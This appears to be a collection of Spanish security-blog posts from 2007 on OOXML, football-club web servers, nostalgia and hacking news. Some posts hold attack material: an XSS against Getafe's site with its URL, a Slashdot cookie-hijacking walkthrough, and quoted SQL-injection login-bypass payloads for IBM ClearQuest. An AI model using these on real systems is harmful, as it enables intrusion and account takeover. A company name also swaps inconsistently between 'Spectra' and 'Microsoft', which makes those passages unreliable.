España cayó en cuartos

El día 2 de Septiembre es la votación final para la aprobación o no de OOXML como estándar ISO y mi opinión personal es que no creo que se apruebe esta vez. España, como en todos los mundiales, cayó en cuartos, pues fue uno de los primeros países en apartarse del debate. Un debate en el que sucedieron muchas cosas, y tal vez en algún momento alguien nos las cuente, pero de momento, nos quedamos con la abstención.

La votación que será en Genova, es un poco enrevesada. El proceso funciona de la siguiente manera. OOXML se convierte en estándar de ECMA con el nombre ECMA 376. Este organismo lo remite para convertir en un estándar ISO al comité JTC 1 que le pone un nuevo nombre ISO/IEC DIS 29500, que es el que se utiliza durante todo el proceso de trabajo, y lo asigna a un Subcomité de trabajo, en este caso el SC 34. Este comité tiene, miembros P (Participantes) y miembros O (Observadores) que tienen que decir mediante un proceso de revisión de Fast Track (6 meses) si se aprueba o no el estándar. En total 35 miembros P y 13 miembros O. Cada uno de los miembros P u O está representado por un comité en su país que decide su voto. En España ha sido AENOR. El voto que se emita puede ser Sí, Sí con comentarios, No con comentarios, No o Abstención.


El proceso de aprobación es sencillo, es el de la siguiente URL: Sistema de Votación. Si lo has visto, seguro que te ha quedado clarísimo cuál es el proceso y dónde estamos. ¿No? No te preocupes, esto está en la fase final. El sistema de aprobación que se aceptó es Fast Track, quiere decir, que se tenía que resolver en 6 meses, luego esto está llegando a su fin.

El resumen es que para que se apruebe OOXML, (ECMA 376) como estándar ISO tiene que suceder lo siguiente en la votación:

- El 25 % de los votos de miembros P o miembros O no puede ser NO.
- El 50 % de los miembros P debe votar.
- El 75 % de los votos que sean Sí o No, es decir, quitando las abstenciones, deben ser SÍ.

Luego las posibilidades son muchas y la guerra encarnizada. Puedes hacerte una tablita en Excel o en ODS para jugar con todas las combinaciones y comprobar cuales hacen que se cumplan los tres requisitos para que se apruebe.

¿A qué juega todo el mundo? Pues a averiguar cuál es el voto de cada país. Algunos votos son públicos, otros no pero se filtran (como el de España), y otros se mantienen en secreto luego el día 2 de septiembre se sabrá, pero seguro, seguro, que se puede estimar con un cierto grado de certidumbre el resultado ya. Yo he echando mis números y creo que el resultado va a ser…

Brasil, India, Canadá, China votarán No, España se abstendrá, Usa y Alemania serán votos SÍ… Hoy se ha hecho público que un miembro de Spectra prometió incentivos a sus partners sobre OOXML. Esto ha sido motivo más que suficiente para que Suecia que había votado SÍ en su comité haya cambiado y ahora se vaya a abstener.

No es posible conocer todos los votos, y sí muchas especulaciones. Haz tu quiniela, mis datos los guardo yo. ;) [En excel]

La única conclusión que tengo clara es que los comités de ISO están todos muy ciegos.

WebServers en la Fortune 20 Final

Como decía el post original:

"Aprovechando que se acabó la pretemporada y comienza la Liga 2007/2008, el presente post recoge, a modo de curiosidad, los datos devueltos por los servidores web que utilizan los equipos de la Primera División Española de Futbol, que aquí llamaremos la "Fortune 20".

Figura 1: Resumen de datos


Figura 2: Tablas SSOO. Individuales y por Familias


Figura 3: Tablas Servidores Web. Individuales y por Familias

Al final Apache es el servidor Web más utilizado con un 60 % de cuota, mientras que IIS es es segundo con un 35 %. En sistemas operativos los numeros se aprietan un poco más quedando Linux con un 55 % y Windows con un 40 %.

Cumplida ya otra parte de la penitencia continuaremos haciendo el mal.

Saludos malignos!

Los Esquiroles II y el San Ubuntu

Es duro cumplir la penitencia, pero en mi fuero interno de maldad me veo obligado a hacerlo. Sin embargo, sucesos extraños, en un complot debido al acoplamiento de las estrellas, según pronosticó el gran Rambaldi, hace que se más duro.

RCD Mallorca

Esta página, comno alguien ya comentó en los comentarios del tan discutido informe corre en Apache con PHP, es cierto, pero no he podido ver nada máss, porque estrañamente cuando entré me dio unos mensajes de error.


Osasuna

Mi siguiente parada me llevó a la web del osasuna a comprarme la equipación de este año. Es público mi afición a la camiseta del Osasuna y quedó esto refleajado en la entrevista que me hicieron para El País. Pero de nuevo Rambaldi se cruzó en mi camino y zas, la web no funcionaba.


UD Almería SAD

La última parada me llevó a Almería y allí se confirmó lo que ya dijeron los banners. Era un Apache (con algunos listados de directorios públicos) y mantenidos algunos documentos en la web con ¿MS office?


Sorprendido, sorprendido. Además, es un joomla, pero mantenido con el VHCS (Virutal Hosting Control System). A este software el amigo RoMaNSoFt ya le había dado un "buen repasito" el año pasado con lo que suponemos que ha debido quedar securizado.


Sin embargo algo ha tenido que pasar con la web del UD Almería porque alguien ha debido hackearla y ha conseguido hacer un defacement ya que han puesto la foto de David Bisbal. ¡Qué malvados!, ¿no?


San Ubuntu

Creo que la reflexión interior es la única opción en este camino de penitencia, así que me he retirado a rezar mis 20 San Ubuntus al monasterio con los demás monjes.

Post Data

Publicaré el informe final mañana o pasado. Disculpad el retraso, pero no quiero escribir más de un post al día. Es malo para mi salud ....

¡Saludos Malignos!

Los Esquiroles - Getafe Joomla - XSS en com_joomleague

El día de ayer lo dedique a cosas productivas, así que estuve todo él haciendo maldades, y una de ellas, consistía en cumplir la penitencia que me autoimpuse. Así que, manos a la obra.

Getafe

La web del Getafe usa Joomla, se saca rápido, basta ver cualquier URL de la web con esta estructura:

http://www.getafecf.com/index.php?option=com_contact&task=view&contact_id=1&Itemid=34

El siguiente paso fuer buscar los directorios ocultos del Getafe en el ficherito Robots.txt


El siguietne paso, sencillo, prueba de "¿se habrán dejado algún listado de directorios abierto en el Apache?"

Respuesta: Muchos, pero el que más llama la atención es el de los componentes que carga Joomla, así que basta con saberte el nombre del componente y pedirlo.

- Com_joomleague
- Com_rsgallery2
- ...

Probando todo lo que te encuentras, se confirma que es Apache sobre Win32:


Com_Joomleague

Este es el componente que se utiliza para llevar los partidos, plantilla, etc... y la lista de todas las funciones del componente que se pueden utilizar está en esta URL: http://www.getafecf.com/components/com_joomleague/frontend/default/


Revisando la web se ve que algunas, como user_tips, tips_saved, etc... no están siendo usadas en la web, así que las cargamos a ver que sucede. Al cargar la función ShowTips con:

http://www.getafecf.com/index.php?option=com_joomleague&func=showTipResults&p=1&u=75&r=1

Aparecen nuevos parámetros para jugar y al mover el valor de r se puede observar que está siendo pintado en la pantalla, así que nada, un poco de Javascript... y un Cross-Site Scripting para este componente de Joomla.


Al mirar la empresa que ha programado la web, que se ve en el pie de la página del Getafe, llama la atención que dicha empresa usa ASP, pero al ver como está su web podemos saber porqué se han pasado a Apache, Joomla y PHP. Ha sido por Seguridad.


Lo curioso de la empresa es que se llama monteJAVA, su web está en ASP y le montan la web en PHP.

Saludos malignos!

WebServers en la Fortune 20 Update

En el año 2004 hicimos unas cuentas similares a las del Post de ayer sobre las webs de los equipos de futbol y llevaba tiempo queriendo hacer la misma coña, solo por el placer de contar servidores Web. Ayer Domingo hice público la primera parte de lo que habíamos mirado. Tras publicarlo me lo revisaron, como debe de ser, y teníamos 5 discrepacias en los valores, así que, como es de humanos errar tuve que ir a comprobarlos uno a uno personalmente.

Las discrepancias

Según lo que yo tiré del Site Report Netcraft estos fueron los datos que obtuve:

Getafe : Windows 2003 / IIS 6
RCD Mallorca : Windows 2000 / IIS 5
Osasuna : Windows 2003 / IIS 6
UD Almeria : Windows 2000 / IIS 5

Estos 4 sitios, en el informe de ayer iban con Windows e IIS y sucede lo siguiente:

Getafe

Getafe ha llevado la web con IIS y Windows Server todo el año pasado. De hecho, una de las bromas que hacía yo respecto a cierto SQL Injection en el foro era: "...y un día se pasarán a Apache porque el SQL Server se les cae..."

En las búsquedas de Google aún aparecen los links ASP como se puede ver en esta captura:


En la caché de Google también están las páginas ASP aún del día 23 de Agosto de 2007.


Pero... forzando un gráfico de Uptime con Netcraft aparece que en medio de esas dos fechas ha sido cambiada.


De hecho, en el caso del Getafe, la web aún corre contra IP en muchos sitios aún (esto es un apache como la madre que lo parió).

Mallorca

En Google aún aparecen los resultados ASP para el RCD Mallorca, como se puede ver en esta captura:


Y en la caché de Google del 9 de Agosto de 2007.


Pero... entre esa fecha y la fecha de publicación del informe se presentó la nueva web del RCD Mallorca y forzando un gráfico de uptime con netcraft obtenemos.


Osasuna y UD Almeria SAD

En el caso de Osasuna y Almería el fiarme del Site Report de Netcraft ha sido el error. La web del osasuna además la conocía de mis múltiples charlas sobre seguridad en Pamplona y sabía que iba en IIS, así que cuando el Site Report dijo que el último cambio era a IIS el 30 de Mayo de 2006 pareció correcto.


Pero... con el gráfico de uptime.


Y de igual forma con el UD Almeria SAD. Site Report y Gráfico de Uptime.

Valencia

También hubo controversia con la web del Valencia, pero, de momento, sigue siendo IIS, en ese apartado, creo que el error debe estar en alguno de vuestra forma de recogerlo. El Site Report y Gráfico de Uptime (forzando una prueba) dan lo mismo.


Y además, en esta captura se puede ver ese ASP, esa ruta de Windows en ese parámetro pidiendo un cucharon...


Disculpa

Normalmente ya sabéis que yo todo lo que digo es mentira, así que no debería sorprenderos, pero en este caso ha sido sin mi control. Parece que los presidentes estaban locos por cambiar las webs y me han pillado en medio de la recogida de datos. Además, el Site Report me ha demostrado que no se actualiza como debiera, así que me cago en su puta madre. No obstante, la cagada me la tengo que apuntar yo, con lo que aún me jode más.

Penitencia

Como penitencia me apunto las siguientes obligaciones:

- Escribir "con cariño" los dos artículos de fortificación de Apache.
- Cepillarme las webs de estos cuatro "esquiroles" que se pasan al lado del bien.
- Hacerlo en público para más sorna y en su ciudad, por dejarme mal.
- Rezarme 20 San Ubuntus.
- Publicar actualizado el informe mañana mismo.

WebServers en la Fortune 20

***********************************************************
Este informe se hizo utilizando Site Report de Netcraft y no ofrece resultados actuales. A pesar de que toda la información que se muestra aquí en algún momento ha sido real, es neceseario actualizar los datos. Valga el siguiente POST para reforzar esto.
***********************************************************


Aprovechando que se acabó la pretemporada y comienza la Liga 2007/2008, el presente post recoge, a modo de curiosidad, los datos devueltos por los servidores web que utilizan los equipos de la Primera División Española de Futbol, que aquí llamaremos la "Fortune 20". Para ello se han utilizado los servicios de NetCraft "What's that site running?" para obtener la información.

Tabla de Datos

Figura 1: Lista de datos obtenidos
Todos los sitios a excepción de la web del Real Zaragoza han mostrado el banner del servidor Web. No obstante, se ha asumido que es un Apache con un alto grado de certidumbre teniendo el cuenta, en primer lugar la historia del sitio web y en segundo lugar el formato de los mensajes de error. Como se puede ver, en los datos, lo más utilizado en los sitios web de los equipos de futbol de primera división es el duo Windows 2000 Server / Internet Information Services 5.0. Real Madrid es el único sitio que utiliza Solaris y Netscape y el Real Zaragoza el único que utiliza que "parece" utilizar Apache sobre Windows. La web del Sevilla se ha supuesto un Linux sobre Fedora o RedHat atendiendo al hosting que tiene contratado que oferta esas dos versiones de Linux.

Sevidores Web

La siguiente tabla agrupa los datos de los servidores Web por versiones y familias:

Figura 2: Tabla resumen de Servidores Web
Como se ve en la tabla, Internet Information Services 5 es el servidor Web más utilizado, mientras que por familias es la familia de Spectra quién se lleva la mayoría absoluta. Apache es la segunda alternativa con un 40 % mientras que Realmadrid.com es la referencia de Netscape en la "Fortune 20". Visualmente se puede ver en los siguientes gráficos:

Figura 3: Gráficos resumen Servidores Web
Sistemas Operativos

La siguiente tabla agrupa los datos de los Sistemas Operativos por versiones y familias:

Figura 4: Tabla resumen de Sistemas Operativos
Como se aprecia la familia Windows es la más utilizada siendo Windows 2000 Server la versión más utilizada. En el caso de las alternativas UNIX/Linux se nota una gran dispersión con versiones de Solaris, Debian, Gentoo, Ubuntu y Fedora/RedHat entre otras.Visualmente se puede ver en los siguientes gráficos:

Figura 5: Gráficos resumen de Sistemas Operativos

Trace ON

Hace ya 25 años desde que una película cambiara mi vida, y la de muchos otros. Esa pinicula llegó a mi cuando yo tendría unos 8 años y en ella un conjunto de programas que vivían dentro de los ordenadores idolatraban a sus creadores. Los programadores. Dios, cuando vi esa pinicula yo quería ser programador. A toda costa. Quería crear eso que veía. Primero entró una consola de cartuchos en la que moviendo unos palotes en verde jugabas sobre la tele al tenis, ping pong o a carreras de coches. Después llegó el Amstrad, tras mucho dar el coñazo y tras ir dos años a una academia a aprender una cosa en la que la propaganda decía “La informática es el futuro” y realizar mis códigos en un lenguaje llamado BASIC. 5 cls 10 dim a…, pero eso es otra historia.

Todo empezó con esos trajes con lucecitas, con esos combates en la CPU, la inolvidable carrera de motos, los tanques que defendían el sistema, la lucha de lanzamiento de pelota en los anillos concentricos, o el lanzamiento del haz de luz con el disco, para evitar al Mater. Ahí nació algo dentro de mí que me obligó a elegir este camino. Después caerían otras en mis manos como Juegos de Guerra, Saturno 3, Superman III con Richard Pryor sacando fortunas en base a fallos de redondeo y Blade Runner. Todas con el tema de la ciencia ficción, robotica y ordenador, pero la primera fue sin duda Tron.

TRON cambió mi vida. Una pinícula de Walt Disney para niños marcó mi camino. Si eres de los que has nacido años después y aún no has visto TRON… ¡consíguela! Os dejo algunos cortos del Youtube para que intentéis sentir lo que un niño en una época en la que solo había dos canales, en la que se produjo un golpe de estado en este país y en la que España ganaba 12 a 1 a Malta pudo sentir al ver esto:

El Trailer:



La competición a muerte con las motos digitales:



Y como era el juego en las máquinas recreativas:



Tenéis más datos de la pinicula en la Wikipedia [Tron], pero lo que yo quería transmitiros es lo que un niño en una época dónde se pesaban las cosas con una pesas de agujas pudo sentir al ver esto. Tal vez te cambie algo a tí también.

¡Maligno Sabado!

Hijacking en Slashdot. Step by Step

En las últimas conferencia de Black Hat, una de las charlas hizo unas demostraciones sobre realizar Hijacking en las cuentas de Gmail. Para ello utilizó unas herramientas para analizar las cookies de las sesiones de cuentas de gmail y slashdot y realizó una demo en vivo. El contenido de las charlas de las últimas Blackhat no está en la web oficial aún, pero es un secreto a gritos que se encuentran en esta URL: BlackHat USA 2007.

El señor Knovas ha intentado replantear el método descrito en la sesión y no ha sido posible realizarlo en Gmail. ¿corregido?. Sin embargo sí ha sido posible realizarlo en Slashdot y aquí queda el Step-by-Step.

Hijacking en Slashdot. Step by Step by Knovas.

En este paso a paso partimos de la base de que tenemos las cookies de la cuenta víctima. Este paso es muy fácil de realizar simplemente esnifando la red, con la Wifi, con el cain....

Materiales necesarios…

- 2 cuentas en Slashdot.org (En el ejemplo tenemos dos para atacarnos a nosotros mismos). Nuestros usuarios son cancamusa y chipiwini

- 1 Herramienta para modificar las cookies. En este caso hemos elegido Firefox con el plugin “Edit cookies” que permite realizar este proceso de una forma sencilla.
Pasos a realizar.

Paso 1. La “víctima” entra en su cuenta.

La víctima en este caso será el usuario cancamusa:

login: cancamusa
pass: cancamusa

Marcamos la opción de “Public terminal” para que al cerrar el navegador nos desconecte la sesión


Paso 2. Cogemos la cookie.

Como hemos dicho antes, esta cookie se puede recuperar simplemente esnifando la red (Wireshark, Caín,…). En este caso utilizamos el plugin de Firefox para ver la cookie de la víctima.


Paso 3. Copiamos la cookie en el portapapeles.

Fácil, Ctrl+C. ;D

Paso 4. Cerramos el navegador.

Si pinchamos en el botón logout, se desconecta la sesión en el servidor y no se puede realizar el ataque. Pero cerrando el navegador no se avisa al servidor de la desconexión.

Paso 5. Entramos con el atacante.

Abrimos de nuevo el Firefox para entrar en la cuenta del atacante, que en este caso será el usuario chipiwini

login: chipiwini
pass: chipiwini


Paso 6. Editamos cookie del atacante.

Una vez logueados como chipiwini, abrimos el editor de cookies y cambiamos el valor de la cookie user por el que hemos recuperado de la víctima.


7. Cambio de usuario.

Pinchamos en cualquier enlace que nos mantenga dentro del sitio web… por ejemplo en el menú, y… voilá ya somos el usuario cancamusa



Fin.

Knovas.

FUD del bueno contra Spectra usando Skype

Como ya muchos sabéis, la semana pasada se cayó la red se Skype y muchos no pudieron hablar con sus servicios de Voz Sobre IP. Algunos técnicoless de turno echaron rápidamente la culpa de esto a Spectra, como siempre. En este caso, al sistema de actualizaciones de seguridad de los equipos. El día 21 la gente de Skype hacía un comunicado para explicar la situación, pero el FUD ya había echado, que era el objetivo. Las respuestas que dan a las preguntas que más se han hecho han sido.

1. Are we blaming Microsoft for what happened?
We don’t blame anyone but ourselves. The Microsoft Update patches were merely a catalyst — a trigger — for a series of events that led to the disruption of Skype, not the root cause of it. And Microsoft has been very helpful and supportive throughout. […]

1. ¿Estamos culpando Microsoft por lo qué sucedió?
No culpamos a nadie salvo a nosotros. Los parches de Spectra Update fueron simplemente un catalizador – un disparador – para una serie de eventos que condujeron a la interrupción de Skype, no la causa raíz de ella. Y Microsoft ha sido de mucha ayuda y apoyo en todo momento.

2. What was different about this set of Microsoft update patches?
In short – there was nothing different about this set of Microsoft patches. During a joint call soon after problems were detected, Skype and Microsoft engineers went through the list of patches that had been pushed out. We ruled each one out as a possible cause for Skype’s problems. We also walked through the standard Windows Update process to understand it better and to ensure that nothing in the process had changed from the past (and nothing had). The Microsoft team was fantastic to work with, and after going through the potential causes, it appeared clearer than ever to us that our software’s P2P network management algorithm was not tuned to take into account a combination of high load and supernode rebooting.

2. ¿Qué fue diferente en este conjunto de actualizaciones de Spectra Update?
En resumen - no había nada distinto en este conjunto de actualizaciones. Después de que los problemas fueran detectados, los ingenieros de Skype y de Spectra analizaron la lista de los parches que habían sido liberados. Se gestionó cada uno como una causa posible de los problemas de Skype. También revisamos el proceso estándar de actualización de Windows para entenderlo mejor y asegurarnos de que nada en el proceso había cambiado con respecto al pasado (y nada había cambiado). Fue fantástico trabajar con el equipo de Spectra, y después de evaluar las posibles causas, apareció más claro que nunca que el algoritmo de gestión de la red P2P de nuestro software no fue ajustado para considerar una combinación de alta carga y del reinicio del supernodo.

3. How come previous Microsoft update patches didn’t cause disruption?
That’s because the update patches were not the cause of the disruption.

3. ¿Cómo las actualizaciones pasadas de Spectra no causaron la interrupción?
Eso es porque los parches de la actualización no fueron la causa de la interrupción.

Vamos, lo pueden decir más alto, pero más claro....

Todos menos Netscape

Este mes de Agosto se ha hecho público otro nuevo informe sobre los resultados de uso en los servidores web de al Fortune1000, es decir, de las 1000 empresas que mas pasta ganan en los USA.

Resultados Fortune1000 Julio 2007
En los resultados de este año se aprecia que IIS se consolida siendo la familia más implantada con un 55% un 0.1% más que en el periodo anterior, y la versión IIS 6 es el servidor más usado en la Fortune1000 con 365 instalaciones (36.5 %). Apache ha subido de 233 a 249 implantaciones y el uso de otros servidores web ha subido de 160 a 168 instlaciones repartiendose en la actualidad 46 instalaciones para Sun ONE, 26 para IBM y 11 para Lotus, quedando 85 instalaciones para otros.

Resultados Fortune1000 Julio 2006
El que ha cedido las instalaciones ha sido Netscape que ha pasado de tener 58 instalaciones a tener 33. Es decir, sería la cuarta familia actualmente en los servidores de la Fortune1000. Esto no deja de llamar la atención pues en Enero de 2003 Netscape era la segunda familia más usada con más de un 20 % de utilización y en 4 años ha caido hasta un 3,3%.

Resultados Fortune1000 Enero 2003 a Julio 2007
Durante este periodo la familia IIS se ha mantenido siempre por encima del 50 % cuota en la Fortune1000. ¿Cuál es la explicación? ¿Qué valoran las compañías? ¿Qué hace que IIS sea el servidor de referencia en la Fortune1000?

Todos menos Netscape

Ubuntu ayuda a vender Windows en OEM

Este verano parece que se lo estoy dedicando a Ubuntu, pero os aseguro que nada estaba en mis planes. Debe ser la maldad interior que lleva uno dentro. Debe ser que el calor saca de mi no sólo el radar del pecado sino también la mala sangre que llevo dentro.

En este caso la historia comienza, como no, en los acertados comentarios y publicaciones en la ciudad de los kripis. Ya hace tiempo que paso de las tonterías y tecnicolessadas que suelta pero tengo amigos en otras fases de esta mala uva que te ponen.

La última de la ciudad de los krispis es casi equiparable a la de nuestro amigo "el investigador" con su acertado post de "Y servía para algo!" dónde se ganó el número 1 de la ATP (Asociación de Técnicoless Apestosos) y fue nombrado Nuestro Campeón. En este caso, nuestro pobre amigo de la ciudad de los kripis había perdido el Ctrl+Alt+Supr, pero para eso estamos los técnicos, para resolver estos complejos misterios a los bloggers.

La otra no es suya, sino de toda la cohorte que se arremolina por el medio. El caso es que resulta resultosa, que ya han aparecido los modelos DELL con Linux. Con lo que todos hemos ganado en libertad, avance técnológico y en ahorros de costes, al no tener que pagar una licencia de Windows que no vas a usar. Asi, además te compras un PC con Ubuntu y te ahorras algo de dinero. Si compras el modelo con Ubuntu que aparece promocionado te ahorras 150 €. Una pasta ¿no?. Bueno, pues no, resulta que los recortes van en otro lado, en el hardware. Silverhack se ha configurado dos equiopos idénticos (casi idénticos porque lo último no está disponible para Ubuntu 7.04), y le sale que comprar un PC con Ubuntu de características similares al PC con Vista cuesta ....¿20 € más? Esto no es posible. Y si quieres puedes coger soporte para tu Ubuntu....

La respuesta es sencilla, es una maniobra de Spectra, para lograr que la gente se compre más Vistas y luego se descargue el Ubuntu gratis y lo instale sobre el PC y te ahorras 20 Leuros y te llevas un hardware más potente.

El análisis lo tiene hecho Silverhack en su Blog, aunque han cambiado el link en DELL tienes las capturas y además puedes utilizar el configurador de Ubuntus y DELL en esta URL para hacertelo tú.

Saludos malignos!

La Web Engorda!

Y es que a partir de ahora el camino hacia la Web 3.11 para trabajo en grupo va acompañada con Bacn, como los huevos fritos.

Este es otro palabro más a tener presente en todas las conversaciones sobre la web. Así la "gente normal" nos distanciamos más de los "frikis que no usan los ordenadores". En este caso al termino en cuestión, le llaman "Bacn", como al Bacón y hace referencia a todo el conjunto de información que es "bueno para tí, pero no ahora mismo", es decir, todos los RSS, las newsletters, los contactos porno, los avisos de fichajes deportivos, etc... que acumulas en un sitio y cuando tienes tiempo, o estás aburrido, vas a visitar, a ver que hay.

"¡Me tope con esta noticia cuando revisaba el Bacon!"
"¡Mira el mensaje de este técnicoless que me trajeron con el Bacon!"

La verdad es que yo flipo, no se si es que me hago muy mayor o que esto me parecen pocholadas. Yo llevo años usando el Bacon y lo único que me ha traido siempre ha sido unos lindos michelines.

En fin, saludos malignos de lunes!

Compañeros!

Aprovechando el comienzo de las vacaciones para muchos nos fuimos mis compañeros y yo a quemar un poco de adrenalina juntos. Hoy quiero desde aquí decirles que me encanta trabajar con ellos, que me encanta tenerles cerca de mi en el día a día y que es genial lo subnormales que podemos ser.

El día comenzó con un viaje en Limusina dónde se fue escuchando Opera y debates de alto nivel. Bueno, la verdad es que se cantaron las canciones de la abeja Maya, la canción de los pastorcillos que quieren ir al burdel y se contaron el chiste de las manotas de martita y el del catalán y el sevillano que se encuentran una lampara mágica con el genio madrileño.

Fran, Toni, Filemaster, Pedro Laguna, JoseCarlos, Rubén y la pelambrera de JuanLuigi
Acto seguido nos fuimos a un lugoso hotel restaurante dónde el jefe dió una charla sobre los beneficios de la empresa a la que todos atendieron maravillosamente (mientras no se les trajo el cafe y/o la cerveza de los más madrugadores).

Fran, Toni, Filemaster, Sus, Alex, Julian, Almita, Antonio, Manu, David, Mr. Nigma y la media chorla de Tony Soprano
Acto seguido, nos fuimos a coger otra vez la limusina para pegarnos unos tiros, allí la espera fue de unos minutos, tiempo suficiente para que Filemaster y "el becario" arreglaran unos asuntos de orden.

Filemaster y el becario
Además, los hombres duros de la empresa tenían un asunto pendiente al Virtual Tenis que les llevó todo el día.

Franki "McGiver" y Rober "Golum" Palomino
Después ya vinieron las hostias, como Dios manda. Aquí parte del equipo perdedor de los Leones. Los Tigres fuimos los que ganamos.

Silverhack, JuanFran, Almita, el infiltrado Cervigón, Pedro "profesor Cojonciano" Laguna y Joshuita
Después de que ganaramos los tigres, fuimos a ocupar la piscina de Sevilla, de Sevilla La Nueva, que estaba cerca del campo de Batalla (Brunete).

Ruben, Filemaster, JuanFran, Mr. Nigma, y alguno más al fondo
Luego, a lucir un poco de tipito. Por favor, chicas, no os escandalicéis. (XD)

Rodol, Kanovas, Joshua (escondido), Rober, Carlos, JoseCarlos, Cervi, Fran, Filemaster
Una vez limpios
fuimos a comer un menú degustación en mantel de hilo y con vino. Vamos, que nos tomamos un plato de barbacoa compuesto de chorizo a los finos aires, morcilla castellana, beicon de cerdo del bueno, pancetaza light y mucha, mucha cerveza y vino, en calimocho y sangría.



Al postre, aproveché para entregar el premio a Pedro Laguna por su [cuarta] QUINTA posición en el III Reto Hacking.

Pedro Laguna & me
El amablemente la repartió. Fue un día debuit aunque nos acordamos mucho de Jaime SiW2P que no estuvo, Fran di Parla II y el gran Jeropa, pero como no estaban currando, pues nada, tampoco era para tanto. Aquí está la foto del grupo conmemorativa.
Rocio y JuanLuigi, luciendo ropa del departamento de guerra electrónica del ejercito, en esta foto además están, 3 MVPs, un evangelista de Spectra, Anelkaos, Silverhack, 2 de Zamora, 1 de Logroño, 2 de Sevilla, 1 de Navarra, 1 de Ávila, n de Bronxtoles Kapital, alguno de Alcorcón y alguno de Aluche

A toda esta panda. Gracias mil veces por trabajar cerca mia y dejarme aprender de vosotros.

¿Estás seguro de querer trabajar con nosotros?.

Qué Gente!

Hoy es sábado y no me apetece ser muy malo ni tener mucha guerra, pero...un poco sí.

Revisando los últimos exploits me encuentro con este:

IBM Rational ClearQuest Web Login Bypass (SQL Injection)

SAMPLE URL:
===========
http://SERVERNAMEHERE/cqweb/main?command=GenerateMainFrame&ratl_userdb=DATABASENAMEHERE,&test=&clientServerAddress=http://SERVERNAMEHERE/cqweb/login&username='INJECTIONGOESHERE&password=PASSWORDHERE&schema=SCHEMEAHERE&userDb=DATABASENAMEHERE

Log in as "admin":
==================

' OR login_name LIKE '%admin%'--

(other variations work as well)
' OR login_name LIKE 'admin%'--
' OR LOWER(login_name) LIKE '%admin%'--
' OR LOWER(login_name) LIKE 'admin%'--
etc...use your imagination...

Tras la cagada de "Como comerse una comilla" siempre piensas, que esa es un buena cagada, pero que IBM se coma una comilla en el campo USERNAME de un formulario de login indica el número de pruebas que le han hecho a este producto de seguridad: EXACTEMANTE Cero mil cero cientas cero cero o dicho de otra forma, en binario 0000000.

La otra cagadita del día, ha sido la de Gentoo, que me ha encantado, en este caso el Bug#: 187971

Gentoo Website Command Injection Issue

El problema está en que no está bien filtrado y se hace una llamada a exec por lo que basta con poner un ";" y ejecutar cualquier otra instrucción en el sistema operativo. Una Injección de comandos remota.

Cuando esto se hace público rápidamente el progrmador busca una solución y se la postea a los colegas porque

"Sorry I am out of town and don't have access to Gentoo servers"

pero se lo curra y ofrece una solución:

for the resolution, the solution should be something more to the effect:

[!--#exec cmd="export QUERY_STRING;./similar.py" --]

No obstante, luego recapacita y se da cuenta de "ups!, yo creo que esto lo he hecho más veces!". Y vuelve a postear:

Oh, forgot to mention... they /similar page is not the only one where "exec
cmd" is used. So this will have to be fixed in all occurrences. They're all
found in mksite.py though.

Al final, se optó por tirar abajo los servidores hasta que regresaran de las conferecias, y luego lo explicaron.

¿Serían conferencias sobre seguridad? ¿Auditoría de código? ¿Testing? ¿Planes de respaldo? ¿Gestión de CPD? ¿downtime?

Spectra Open Source

En su camino hacia la dominación del mundo, la malvada Spectra ha elaborado una pérfida estrategia para gobernar el mundo. En este caso ha creado una serie de recursos que oferta en Open Source para que la comunidad del bien caiga en sus malvadas redes. Ya existían diferentes programas para ofrecer el código fuente de las aplicaciones así que os dejo un breve repaso de las iniciativas.

Open Source
Spectra ha abierto un site para ofrecer herramientas y ayuda a los programadores que participen en proyectos Open Source. Esta es una nueva web abierta en el sitio de Spectra para potenciar, participar y ayudar en el desarrollo de iniciativas Open Source. Este sitio está pensado para ser un centro de acceso a recursos. No se va a fomentar el uso de ninguna licencia pero Spectra ya ofreció hace un año un conjunto de licencias bajo las que ha licenciado un conjunto de programas.

Shared Source Iniciative
Esta iniciativa llevo a la creación de un conjunto de licencias que llevan la compartición de código, muchos productos de Spectra se han licenciado bajo alguna de estas licencias.

Windows Academic Program
Este programa está pensado para la compartición de código de productos de Spectra con fines académicos. Dentro de este programa ya se están generando los manuales, documentación y paquetes para la inclusión de Windows Vista en él, pero quizá el lanzamiento más importante fue la compartición de casi el 80 % del kernel de Vista junto con manuales explicativos, el libro de Windows Internals y herramientas para poder trabajar con el kernel dentro del proyecto Windows Research Kernel.

Government Security Program
Este programa está orientado a compartir el código fuente de los productos de Spectra con los gobiernos para que puedan evaluar la seguridad de los mismos. España ha sido uno de los países que más ha utilizado este programa y ha accedido muchas veces al código fuente. Dentro de este acuerdo se tiene acceso al 100% del código fuente de los productos.

Port25 Lab
Este sitio es un laboratorio que tiene Spectra dónde se prueban los productos Open Source, se evalúan, se documentan, se trabaja en la interoperabilidad, se busca integrar, usar y sacar partido al Open Source. Está dirigido por Bill Hilf y es la referencia de Spectra y el Open Source.

CodePlex
Este es el repositorio de proyectos OpenSource ofrecido por Spectra. En él se alojan muchos proyectos OpenSource al estilo de SourceForge. En la actualidad hay muchos proyectos .NET y es un buen punto para trabajar con .NET y Open Source.

Si a esto le unimos que Spectra ya desarrolló un UNIX (Xenix), que Windows Server 2003 R2 es un UNIX POSIX nativo llamado Interix y que cualquiera puede hacer una distro Linux… ¿Hará Spectra como Oracle y Sun y será un competidor en el mundo Linux más?

¡Saludos Malignos!

Master en Gestion de Sistemas Ubuntu

El mes de agosto de este año está siendo agitado para Ubuntu y los servidores. Después de la “maldad” que puse sobre el downtime de los sitios web dónde el sitio Ubuntu.com salía con más de 1 día de parada en lo que va de año, resulta, que unos días antes de la festividad de “San Ubuntu Iluminador” se cepillaron 5 de los 8 servidores de los sitios de las comunidades Ubuntu. Muchos de estos sitios, como dicen en el mail de alerta, no son muy activos. ¿Eso es una buena noticia?

Tras analizar las posibles causas se encuentran que:

a) the servers, especially zambezi were running an incredible amount of web software (over 15 packages[1] that we recognised) and of all the ones where it's trivial to determine a version, they were without exception out-of-date and missing security patches.
An attacker could have gotten a shell through almost any of these sites.

Todo el software que corría, absolutante todo, sin excepción, corría con software sin actualizar parches de seguridad. Esto ha resultado bastante curioso, pues al ir a comprobar desde cuando, resulta, que llevaban desde el día 24 de Octubre de 2006. Es decir, 9 meses y medio sin actualizar un software expuesto a Internet. Muy hábil.


Penitencia: 10 San Ubuntu Ilumínanos en penitencia por no actualizar cada parche y 150 San Ubuntu Ilumínanos en penitencia por usar Debian.

b) FTP (not sftp, without SSL) was being used to access the machines, so an attacker (in the right place) could also have gotten access by sniffing the clear-text passwords.

Contraseñas sin cifrar... mmmm... ¿quién montó esto el día 1?

